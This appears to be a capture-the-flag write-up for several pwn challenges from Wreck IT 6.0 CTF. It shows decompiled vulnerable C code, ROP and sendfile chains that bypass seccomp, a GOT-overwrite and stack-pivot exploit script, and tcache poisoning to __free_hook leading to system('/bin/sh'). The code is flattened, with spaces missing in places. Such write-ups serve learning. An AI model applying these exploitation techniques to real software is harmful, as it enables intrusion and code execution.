if (seccomp_load(ctx) != 0) { puts("hmmm"); _exit(1); } seccomp_release(ctx); }
intmain(void) { unsignedchar buf[64]; puts("where is the treasure?"); ssize_t n = read(0, buf, 0xA0u); return0; }
Summary
Take the libc puts leak and find the libc version using libc.rip. After that just bof and use rop sendfile to get the content of the file.
Solution
Given a binary treasure file, when I decompile it, I see a BOF and a function that opens the file flag to fd 3 and leaks libc puts address. Similarly, there are seccomp rules in this case.
To solve this problem, I used sendfile, where args 1 = to stdout, args 2 = fd flag, args 3 = NULL, and args 4 = size.
However, in this problem, libc is not provided, so you have to find it manually using libc.rip.
For the libc version i chose, I used libc6_2.38-1ubuntu6.3_amd64. So now, just set the BOF at offset = 64 + 8 = 72, then run our libc sendfile rop chain.
defexecute(cmds, verbose=False): cmds = cmds ifisinstance(cmds, list) else cmds.split() if verbose: sys.stdout.write("\n") sys.stdout.flush() p = Popen(cmds, stdout=PIPE, stderr=sys.stdout, text=True, bufsize=1) buf = [] for line in p.stdout: sys.stdout.write(line) # live output (colors intact) sys.stdout.flush() buf.append(line) # keep copy p.wait() return"".join(buf) else: p = Popen(cmds, stdout=PIPE, stderr=PIPE, text=True) out, err = p.communicate() return out if out else err
defdebug(): global gdbscript, pid if ((not args.REMOTE andnot args.GDB) or (args.QEMU and args.GDB)) andnot (use_ip()): if args.QEMU: gdb_args = ["tmux", "splitw", "-h", "-p", "65", "gdb"] for cmd in [item for line in gdbscript.strip().splitlines() if (item := line.strip())]: gdb_args.extend(["-ex", cmd]) Popen(gdb_args) elif args.DOCKER: attach(int(pid), gdbscript=gdbscript, sysroot=f"/proc/{pid}/root", exe=exe) else: attach(io, gdbscript=gdbscript)
defupdate_checksec(): marker = "CHECKSEC" fn = sys.modules[__name__].__file__ withopen(fn, "r+", encoding="utf-8") as f: src = f.read() i = src.find(marker) i = src.find(marker, i + 1) i = src.find("\n", i) i = src.find("\n", i + 1) start = i + 1 end = src.find("\n", start) if end == -1: end = len(src) if src[start:end].strip() == "": output = execute("checksec --file {}".format(exe)) commented = "".join(("# " + line + "\n") if line.strip() else"#"for line in output.splitlines()) src = src[:start] + commented + src[end:] f.seek(0); f.write(src); f.truncate()
s = lambda data :io.send(data) sa = lambda x, y :io.sendafter(x, y) sl = lambda data :io.sendline(data) sla = lambda x, y :io.sendlineafter(x, y) se = lambda data :str(data).encode() r = lambda delims :io.recv(delims) ru = lambda delims, drop=True :io.recvuntil(delims, drop) rl = lambda :io.recvline() uu32 = lambda data,num :u32(io.recvuntil(data)[-num:].ljust(4,b'\x00')) uu64 = lambda data,num :u64(io.recvuntil(data)[-num:].ljust(8,b'\x00')) leak = lambda name,addr :log.success('{}: {}'.format(name, addr)) l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) ns = lambda p, data :next(p.search(data)) nsa = lambda p, instr :next(p.search(asm(instr, arch=p.arch)))
# ========================================================= # CHECKSEC # ========================================================= # [*] '/home/kali/Windows/Wreck IT 6.0 CTF/treasure/treasure' # Arch: amd64-64-little # RELRO: Full RELRO # Stack: No canary found # NX: NX enabled # PIE: PIE enabled # SHSTK: Enabled # IBT: Enabled # Stripped: No
intmain(int argc, constchar **argv, constchar **envp) { sub_40138F(); puts("where is the treasure?"); unsignedchar buf[64]; read(0, buf, 0x200u);
return0; }
Summary
There is mov gadgets rbp to register. Use the gadgets, read to bss after that just use .bss as the place for using gadgets and call sendfile.
Solution
Given a file, treasure_revenge, when decompiled, it’s more or less the same as the previous problem, except this time there’s no PIE, no libc address leak, and a sendfile function.
To solve this problem, you need to find the gadgets that control rdi, rsi, rdx, and rcx. Then, call sendfile in the binary.
What I do is call read to .bss then overflow and use gadget mov edi, [rbp+0x20], mov rsi, rbp, mov rdx, [rbp+0x10], mov rcx, [rbp+0x18], then finally call sendfile.
defexecute(cmds, verbose=False): cmds = cmds ifisinstance(cmds, list) else cmds.split() if verbose: sys.stdout.write("\n") sys.stdout.flush() p = Popen(cmds, stdout=PIPE, stderr=sys.stdout, text=True, bufsize=1) buf = [] for line in p.stdout: sys.stdout.write(line) # live output (colors intact) sys.stdout.flush() buf.append(line) # keep copy p.wait() return"".join(buf) else: p = Popen(cmds, stdout=PIPE, stderr=PIPE, text=True) out, err = p.communicate() return out if out else err
defdebug(): global gdbscript, pid if ((not args.REMOTE andnot args.GDB) or (args.QEMU and args.GDB)) andnot (use_ip()): if args.QEMU: gdb_args = ["tmux", "splitw", "-h", "-p", "65", "gdb"] for cmd in [item for line in gdbscript.strip().splitlines() if (item := line.strip())]: gdb_args.extend(["-ex", cmd]) Popen(gdb_args) elif args.DOCKER: attach(int(pid), gdbscript=gdbscript, sysroot=f"/proc/{pid}/root", exe=exe) else: attach(io, gdbscript=gdbscript)
defupdate_checksec(): marker = "CHECKSEC" fn = sys.modules[__name__].__file__ withopen(fn, "r+", encoding="utf-8") as f: src = f.read() i = src.find(marker) i = src.find(marker, i + 1) i = src.find("\n", i) i = src.find("\n", i + 1) start = i + 1 end = src.find("\n", start) if end == -1: end = len(src) if src[start:end].strip() == "": output = execute("checksec --file {}".format(exe)) commented = "".join(("# " + line + "\n") if line.strip() else"#"for line in output.splitlines()) src = src[:start] + commented + src[end:] f.seek(0); f.write(src); f.truncate()
s = lambda data :io.send(data) sa = lambda x, y :io.sendafter(x, y) sl = lambda data :io.sendline(data) sla = lambda x, y :io.sendlineafter(x, y) se = lambda data :str(data).encode() r = lambda delims :io.recv(delims) ru = lambda delims, drop=True :io.recvuntil(delims, drop) rl = lambda :io.recvline() uu32 = lambda data,num :u32(io.recvuntil(data)[-num:].ljust(4,b'\x00')) uu64 = lambda data,num :u64(io.recvuntil(data)[-num:].ljust(8,b'\x00')) leak = lambda name,addr :log.success('{}: {}'.format(name, addr)) l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) ns = lambda p, data :next(p.search(data)) nsa = lambda p, instr :next(p.search(asm(instr, arch=p.arch)))
# ========================================================= # CHECKSEC # ========================================================= # [*] '/home/kali/Windows/Wreck IT 6.0 CTF/treasure_revenge/treasure_revenge' # Arch: amd64-64-little # RELRO: Full RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000) # SHSTK: Enabled # IBT: Enabled # Stripped: No
// --- main program with the intended overflow intmain(int argc, char **argv, char **envp) { unsignedchar buf[64]; puts("where is the treasure?"); read(0, buf, 0x200u); return0; }
Summary
There is 2 solution, overwrite the got or srop to sendfile. For my solution overwrite the got seccomp_release to ret then use sandbox+581 and sandbox+585 after that control rdi to 3, call read, then use puts to leak.
Solution
Given a file binary ultimate_treasure_revenge, when decompiled, is more or less the same as the previous version, only an upgrade, where we don’t have gadgets to control registers. However, in this case, when I look closely, there are functions early_ctor+180 and sandbox+585 that move eax/rax to edi/rdi and then call the binary function.
So, to use it, we need to overwrite got between close and seccomp_release.
When I tried pivoting to write to got close, it more or less had to overwrite got stdout, so it couldn’t be used.
For the seccomp_release rip before getting stdout so it can be used.
First i read to future rip from future rip got stdout - 8 (sorry for the complex explanation :v) to pivot read got seccomp_release, then overwrite rip from when read got seccomp_release.
After overwriting got seccomp_release to ret, I changed the rsp pivot to a higher bss location to avoid touching other addresses when calling read again. Then, just read and puts using the sandbox+585 gadget.
First, I changed the .bss pointer to the next address and called read to control rax. Then, I used the sandbox+585 gadget to get rdi=3 and called read.
After that, pop rbp to the address containing our read result and use the sandbox sandbox + 581 to move ebp to eax, then eax to edi. Finally, just call puts and get the read result.
defexecute(cmds, verbose=False): cmds = cmds ifisinstance(cmds, list) else cmds.split() if verbose: sys.stdout.write("\n") sys.stdout.flush() p = Popen(cmds, stdout=PIPE, stderr=sys.stdout, text=True, bufsize=1) buf = [] for line in p.stdout: sys.stdout.write(line) # live output (colors intact) sys.stdout.flush() buf.append(line) # keep copy p.wait() return"".join(buf) else: p = Popen(cmds, stdout=PIPE, stderr=PIPE, text=True) out, err = p.communicate() return out if out else err
defdebug(): global gdbscript, pid if ((not args.REMOTE andnot args.GDB) or (args.QEMU and args.GDB)) andnot (use_ip()): if args.QEMU: gdb_args = ["tmux", "splitw", "-h", "-p", "65", "gdb"] for cmd in [item for line in gdbscript.strip().splitlines() if (item := line.strip())]: gdb_args.extend(["-ex", cmd]) Popen(gdb_args) elif args.DOCKER: attach(int(pid), gdbscript=gdbscript, sysroot=f"/proc/{pid}/root", exe=exe) else: attach(io, gdbscript=gdbscript)
defupdate_checksec(): marker = "CHECKSEC" fn = sys.modules[__name__].__file__ withopen(fn, "r+", encoding="utf-8") as f: src = f.read() i = src.find(marker) i = src.find(marker, i + 1) i = src.find("\n", i) i = src.find("\n", i + 1) start = i + 1 end = src.find("\n", start) if end == -1: end = len(src) if src[start:end].strip() == "": output = execute("checksec --file {}".format(exe)) commented = "".join(("# " + line + "\n") if line.strip() else"#"for line in output.splitlines()) src = src[:start] + commented + src[end:] f.seek(0); f.write(src); f.truncate()
s = lambda data :io.send(data) sa = lambda x, y :io.sendafter(x, y) sl = lambda data :io.sendline(data) sla = lambda x, y :io.sendlineafter(x, y) se = lambda data :str(data).encode() r = lambda delims :io.recv(delims) ru = lambda delims, drop=True :io.recvuntil(delims, drop) rl = lambda :io.recvline() uu32 = lambda data,num :u32(io.recvuntil(data)[-num:].ljust(4,b'\x00')) uu64 = lambda data,num :u64(io.recvuntil(data)[-num:].ljust(8,b'\x00')) leak = lambda name,addr :log.success('{}: {}'.format(name, addr)) l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) ns = lambda p, data :next(p.search(data)) nsa = lambda p, instr :next(p.search(asm(instr, arch=p.arch)))
# ========================================================= # CHECKSEC # ========================================================= # [*] '/home/kali/Windows/Wreck IT 6.0 CTF/ultimate_treasure_revenge/ultimate_treasure_revenge_patched' # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x3fe000) # RUNPATH: b'.' # SHSTK: Enabled # IBT: Enabled # Stripped: No
defexploit(x): global io io = initialize() with log.progress("Pivot to the future rip of got stdout - 0x10"), context.silent: mov_edi_eax = elf.sym["sandbox"] + 585
with log.progress("Pivot to future rip of got seccomp_release then pivot again to got seccomp_release"), context.silent: payload = flat({0:[pivot_target(elf.got["seccomp_release"])], # rip of read when rsi = got stdout - 0x10 offset:[pivot_target(elf.got["stdout"] - 0x10)]}, filler=b"\x00") s(payload) sleep(0.1)
with log.progress("Prepare future rip to pivot far away from got then change seccomp_release->ret"), context.silent: s(pivot_target(elf.bss(0xc0))) # rip of read when rsi = got seccomp_release (just for reset and easier bof later) sleep(0.1) s(p64(rop.ret.address)) # seccomp_release -> ret sleep(0.1) with log.progress("Final pivot to ropchain"), context.silent: rop.read() # to control eax rop.raw(mov_edi_eax) # edi = eax = fd 3 rop.read() rop.rbp = elf.bss(0x138) + 8 rop.raw(elf.sym["sandbox"] + 581) # pivot again to sandbox+581 rop.raw(elf.bss(0xc0)) # rbp = bss+0xc0 which contains flag read rop.puts() rop.puts() rop.puts()
payload = flat({offset:[elf.bss(0x110), rop.chain()]}, filler=b"\x00") s(payload) sleep(0.1) debug() s(b"\x00"*3) # to make eax = 3 leak("sandbox + 585", hex(mov_edi_eax)) leak("Elf bss", hex(elf.bss())) leak("ELF base address", hex(elf.address)) if elf.address elseNone io.interactive() ifnot args.NOINTERACT elseNone
if __name__ == '__main__': global io for i inrange(1): try: exploit(i) except Exception as e: print(f"Error occurred: {e}") io.close()
Flag
WRECKIT60{4bs0lut3_c1n3m4}
Pwn - TokoBuku
Introduction
Source Code
There is no source code, but this is the result of ChatGPT beautifying the code from the decompiler
staticintsub_1277(void) { puts("toko buku itoid"); puts("1. masukan buku di rak"); puts("2. buang buku di suatu rak"); puts("3. lihat judul buku"); puts("4. ganti buku di rak"); puts("5. cukup"); returnputs("pilihan: "); }
printf("nomor rak (1-8): "); if (scanf("%zu", &idx) != 1) return0; idx--; // original code decremented without validating range char *s = (char *)racks_base[idx]; // may be out-of-bounds if user enters 0 or >8 (preserved) if (s) { printf("judul buku: "); puts(s); } else { puts("rak kosong"); } return0; }
printf("nomor rak (1-8): "); if (scanf("%zu", &idx) != 1) return0; if (idx && idx <= 8) { idx--; // 0..7 printf("judul buku baru: "); scanf("%39s", (char *)racks_base[idx]); puts("buku dah diganti"); } else { puts("itu rak yang mana?"); } return0; }
intmain(void) {
void *racks[10]; for (int i = 0; i < 10; ++i) racks[i] = NULL; memset(racks, 0, 8 * 8); // zero only the first 8 entries (as in original) sub_1209(); // unbuffered IO like original while (1) { int choice = 0; sub_1277(); if (scanf("%d", &choice) != 1) { // If input is not an int, consume and continue int c; while ((c = getchar()) != '\n' && c != EOF) { /* flush */ } puts("..."); continue; } switch (choice) { case1: sub_12D6(racks); break; case2: sub_1419(racks); break; case3: sub_14F7(racks); break; case4: sub_15AE(racks); break; case5: return0; default: puts("..."); break; } } }
Summary
There is no null free address so we can just leak libc, and heap by freeing, then do tcache poisoning to __free_hook -> system after that free chunk contain string /bin/sh
Solution
Given a file binary toko_buku. When decompiled and analyzed, the src code uses CRUD (Create, Read, Update, Delete) and is a heap problem.
When analyzing the vulnerability in this source code, there is UAF, and the free pointer is not nulled.
printf("nomor rak (1-8): "); if (scanf("%zu", &idx) != 1) return0; if (idx && idx <= 8) { idx--; // 0..7 if (racks_base[idx]) { free(racks_base[idx]); //vuln puts("buku dah dibuang"); } else { puts("rak kosong!"); } } else { puts("itu rak yang mana?"); } return0; }
So, to solve this problem, we need to leak libc addresses. Simply allocate a large size and a small size, the guard, so that when free, it goes into unsorted bins. Then, create a heap address that can be freed twice. Then, I clean the bins with the same allocated size.
The attack i choose can be done using __free_hook because the libc version used is old, 2.31. Simply perform tcache poisoning on __free_hook and then free the heap address containing /bin/sh
defexecute(cmds, verbose=False): cmds = cmds ifisinstance(cmds, list) else cmds.split() if verbose: sys.stdout.write("\n") sys.stdout.flush() p = Popen(cmds, stdout=PIPE, stderr=sys.stdout, text=True, bufsize=1) buf = [] for line in p.stdout: sys.stdout.write(line) # live output (colors intact) sys.stdout.flush() buf.append(line) # keep copy p.wait() return"".join(buf) else: p = Popen(cmds, stdout=PIPE, stderr=PIPE, text=True) out, err = p.communicate() return out if out else err
defdebug(): global gdbscript, pid if ((not args.REMOTE andnot args.GDB) or (args.QEMU and args.GDB)) andnot (use_ip()): if args.QEMU: gdb_args = ["tmux", "splitw", "-h", "-p", "65", "gdb"] for cmd in [item for line in gdbscript.strip().splitlines() if (item := line.strip())]: gdb_args.extend(["-ex", cmd]) Popen(gdb_args) elif args.DOCKER: attach(int(pid), gdbscript=gdbscript, sysroot=f"/proc/{pid}/root", exe=exe) else: attach(io, gdbscript=gdbscript)
defupdate_checksec(): marker = "CHECKSEC" fn = sys.modules[__name__].__file__ withopen(fn, "r+", encoding="utf-8") as f: src = f.read() i = src.find(marker) i = src.find(marker, i + 1) i = src.find("\n", i) i = src.find("\n", i + 1) start = i + 1 end = src.find("\n", start) if end == -1: end = len(src) if src[start:end].strip() == "": output = execute("checksec --file {}".format(exe)) commented = "".join(("# " + line + "\n") if line.strip() else"#"for line in output.splitlines()) src = src[:start] + commented + src[end:] f.seek(0); f.write(src); f.truncate()
s = lambda data :io.send(data) sa = lambda x, y :io.sendafter(x, y) sl = lambda data :io.sendline(data) sla = lambda x, y :io.sendlineafter(x, y) se = lambda data :str(data).encode() r = lambda delims :io.recv(delims) ru = lambda delims, drop=True :io.recvuntil(delims, drop) rl = lambda :io.recvline() uu32 = lambda data,num :u32(io.recvuntil(data)[-num:].ljust(4,b'\x00')) uu64 = lambda data,num, drop=True :u64(io.recvuntil(data, drop)[-num:].ljust(8,b'\x00')) leak = lambda name,addr :log.success('{}: {}'.format(name, addr)) l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) ns = lambda p, data :next(p.search(data)) nsa = lambda p, instr :next(p.search(asm(instr, arch=p.arch)))
# ========================================================= # CHECKSEC # ========================================================= # [*] '/home/kali/Windows/Wreck IT 6.0 CTF/tokobuku/tokobuku_patched' # Arch: amd64-64-little # RELRO: Full RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled # RUNPATH: b'.' # SHSTK: Enabled # IBT: Enabled